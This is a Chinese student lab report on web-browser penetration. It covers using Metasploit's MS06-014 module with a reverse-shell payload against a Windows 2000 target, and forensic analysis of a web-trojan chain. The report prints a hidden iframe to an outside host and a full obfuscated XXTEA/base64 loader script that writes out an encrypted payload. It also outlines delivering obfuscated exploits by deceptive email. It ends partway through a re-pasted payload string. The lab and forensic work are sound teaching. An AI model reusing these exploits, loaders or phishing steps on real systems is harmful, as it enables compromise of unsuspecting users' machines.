20253917 2025-2026-2 《网络攻防实践》实践11报告

实践内容

一、Web浏览器渗透攻击

在攻击机(Kali Linux)上启动Metasploit,选用 MS06-014 渗透攻击模块。
设置Payload为任意远程Shell连接(如 windows/meterpreter/reverse_tcp)。
配置服务器地址(攻击机IP)和URL参数,执行 exploit 命令,生成恶意网页木马脚本。
在Windows靶机中启动浏览器,验证与攻击机的网络连通性,然后访问构造好的恶意脚本URL。
返回攻击机的Metasploit控制台,查看渗透攻击状态。成功渗透后,通过建立的远程控制会话(SESSION)在靶机上远程执行命令(如 sysinfo、dir 等)。

二、取证分析实践——网页木马攻击场景分析

首先访问 start.html,从中提取出 new09.htm 的地址。每解密出一个文件地址,计算其32位小写MD5散列值,以该散列值为文件名,到 http://192.168.68.253/scom/hashed/ 目录下下载对应文件(注意文件名无扩展名)。如果下载的文件是网页或脚本文件,继续从中解密出下一级地址,重复步骤2。如果下载的文件是二进制可执行程序,则进行静态反汇编(如IDA)或动态调试(如OllyDbg)。重复上述过程,直至所有相关文件被全部分析完成。

三、攻防对抗实践——Web浏览器渗透攻击攻防

攻击方:
使用Metasploit构造至少两个不同Web浏览端软件安全漏洞的渗透攻击代码。
对渗透代码进行混淆处理(如编码、变量替换、字符串拆分等)。
将混淆后的多个漏洞攻击代码组装成一个URL,并通过具有欺骗性的电子邮件发送给防守方。
防守方:
提取电子邮件中的挂马链接。
对链接及脚本进行解混淆分析,尝试恢复出渗透代码的原始形态。
分析这些渗透代码分别攻击哪些Web浏览端软件的哪些安全漏洞(如对应的CVE编号)。

实验过程

实践过程:

一、Web浏览器渗透攻击

kali攻击机的ip如下:

image

win2kserver ip如下所示:

image

我们使用Metasploit 选用MS06-014来进行攻击
使用search MS06-014 来进行搜索,0号就是我们本次需要使用的漏洞

image

使用use 0 选中我们的漏洞,这里使用了默认的payload

image
我们选择使用 windows/shell/bind_tcp
image

使用show options查看该payload需要什么设置
image
具体参数如下所示

参数 设置值 说明
SRVHOST 192.168.5.2 / 攻击机地址 Metasploit 提供恶意网页服务的监听地址
SRVPOR 8080 恶意网页服务端口
URIPATH 随机生成也可以自己设置如3917 靶机浏览器访问的恶意 URL 路径
payload windows/shell/reverse_tcp 反向链接shell 类型载荷
LHOST 192.168.5.2 本机地址
LPORT 4444 本机端口

建议使用windows/shell/reverse_tcp 作为payload不要使用默认payload
设置好参数后启动即可(不知道为什么使用20253917会有问题但使用3917作为url就可以)

image

使用win2kserver打开生成的网址:可以看到已经存在着字符串访问成功

image

此时我们回到我们的攻击机kali,已经提示我们成功建立的session(这里已经set URIPATH 3917)

image

其session 的结果如下我们可以使用session -i 1来进行访问,这里有两个session是因为再做测试,正常只有一个
其结果如下,使用ipconfig已经获取到了靶机的ip地址

image

取证分析实践

从new09.htm中可以得到的下面的代码非常简短直接请求了http://aa.18dd.net/aa/kl.htm
而重要利用则是使用1299644.js

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>

对这两个url进行md5加密得到如下结果

url md5
http://aa.18dd.net/aa/kl.htm 7F60672DCD6B5E90B6772545EE219BD3
http://js.users.51.la/1299644.js 23180A42A2FF1192150231B44FFDF3D3

我们可以从下载的文件包中来访问这两个文件
首先是1299644.js 该文件无内容。
image
查看kl.htm文件得到的文件内容如下:

<script language =javascript>
function utf8to16(mBm1){var YAgps2,z$EnNkblS3,_J$OCI4,JULuNO5;var K6,VjOzlmshy7;YAgps2=[];_J$OCI4=mBm1["\x6c\x65\x6e\x67\x74\x68"];z$EnNkblS3=0;while(z$EnNkblS3<_J$OCI4){JULuNO5=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);switch(JULuNO5>>4)
{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:YAgps2[YAgps2["\x6c\x65\x6e\x67\x74\x68"]]=mBm1["\x63\x68\x61\x72\x41\x74"](z$EnNkblS3-1);break;case 12:case 13:K6=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);YAgps2[YAgps2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((JULuNO5&0x1F)<<6)|(K6&0x3F));break;case 14:K6=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);VjOzlmshy7=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);YAgps2[YAgps2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((JULuNO5&0x0F)<<12)|((K6&0x3F)<<6)|((VjOzlmshy7&0x3F)<<0));break;}}
return YAgps2["\x6a\x6f\x69\x6e"]('');}
var MsIRays8=new window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function base64decode(Xs9)
{var UlBDOqT10,CKF11,ClCCjp12,gt13;var qCZsfjn14,uAcMH15,Yuv16;uAcMH15=Xs9["\x6c\x65\x6e\x67\x74\x68"];qCZsfjn14=0;Yuv16 = "";while(qCZsfjn14<uAcMH15)
{do
{UlBDOqT10=MsIRays8[Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff]}while(qCZsfjn14<uAcMH15&&UlBDOqT10==-1);if(UlBDOqT10==-1)
break;do
{CKF11=MsIRays8[Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff]}while(qCZsfjn14<uAcMH15&&CKF11==-1);if(CKF11==-1)
break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((UlBDOqT10<<2)|((CKF11&0x30)>>4));do
{ClCCjp12=Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff;if(ClCCjp12==61)
return Yuv16;ClCCjp12=MsIRays8[ClCCjp12]}while(qCZsfjn14<uAcMH15&&ClCCjp12==-1);if(ClCCjp12==-1)
break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((CKF11&0XF)<<4)|((ClCCjp12&0x3C)>>2));do
{gt13=Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff;if(gt13==61)
return Yuv16;gt13=MsIRays8[gt13]}while(qCZsfjn14<uAcMH15&&gt13==-1);if(gt13==-1)
break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((ClCCjp12&0x03)<<6)|gt13)}
return Yuv16}
function long2str(v,KDGWFiv17){var Wp18=v["\x6c\x65\x6e\x67\x74\x68"];var tGRDob19=v[Wp18-1]&0xffffffff;for(var EGOTt20=0;EGOTt20<Wp18;EGOTt20++)
{v[EGOTt20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[EGOTt20]&0xff,v[EGOTt20]>>>8&0xff,v[EGOTt20]>>>16&0xff,v[EGOTt20]>>>24&0xff);}
if(KDGWFiv17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,tGRDob19);}
else{return v["\x6a\x6f\x69\x6e"]('');}}
function str2long(u$21,LskoLvqb22){var cFeuCN23=u$21["\x6c\x65\x6e\x67\x74\x68"];var YQ_c24=[];for(var GapMYiRr25=0;GapMYiRr25<cFeuCN23;GapMYiRr25+=4)
{YQ_c24[GapMYiRr25>>2]=u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25)|u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+1)<<8|u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+2)<<16|u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+3)<<24;}
if(LskoLvqb22){YQ_c24[YQ_c24["\x6c\x65\x6e\x67\x74\x68"]]=cFeuCN23;}
return YQ_c24;}
function xxtea_decrypt(tFX26,Su27){if(tFX26==""){return"";}
var ArazzKi28=str2long(tFX26,false);var DhTWjwXc29=str2long(Su27,false);var u_RIHeIWV30=ArazzKi28["\x6c\x65\x6e\x67\x74\x68"]-1;var ttraIAo31=ArazzKi28[u_RIHeIWV30-1],lLMsWz32=ArazzKi28[0],B33=0x9E3779B9;var pDDucrd34,F$s35,MsOR36=window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(u_RIHeIWV30+1)),ipNggI37=MsOR36*B33&0xffffffff;while(ipNggI37!=0){F$s35=ipNggI37>>>2&3;for(var WkXem38=u_RIHeIWV30;WkXem38>0;WkXem38--){ttraIAo31=ArazzKi28[WkXem38-1];pDDucrd34=(ttraIAo31>>>5^lLMsWz32<<2)+(lLMsWz32>>>3^ttraIAo31<<4)^(ipNggI37^lLMsWz32)+(DhTWjwXc29[WkXem38&3^F$s35]^ttraIAo31);lLMsWz32=ArazzKi28[WkXem38]=ArazzKi28[WkXem38]-pDDucrd34&0xffffffff;}
ttraIAo31=ArazzKi28[u_RIHeIWV30];pDDucrd34=(ttraIAo31>>>5^lLMsWz32<<2)+(lLMsWz32>>>3^ttraIAo31<<4)^(ipNggI37^lLMsWz32)+(DhTWjwXc29[WkXem38&3^F$s35]^ttraIAo31);lLMsWz32=ArazzKi28[0]=ArazzKi28[0]-pDDucrd34&0xffffffff;ipNggI37=ipNggI37-B33&0xffffffff;}
return long2str(ArazzKi28,true);}
t="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";
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t);
</script>

其中主要关键的内容呗隐藏主要是t这个参数,是一个base64字符串其内容如下:

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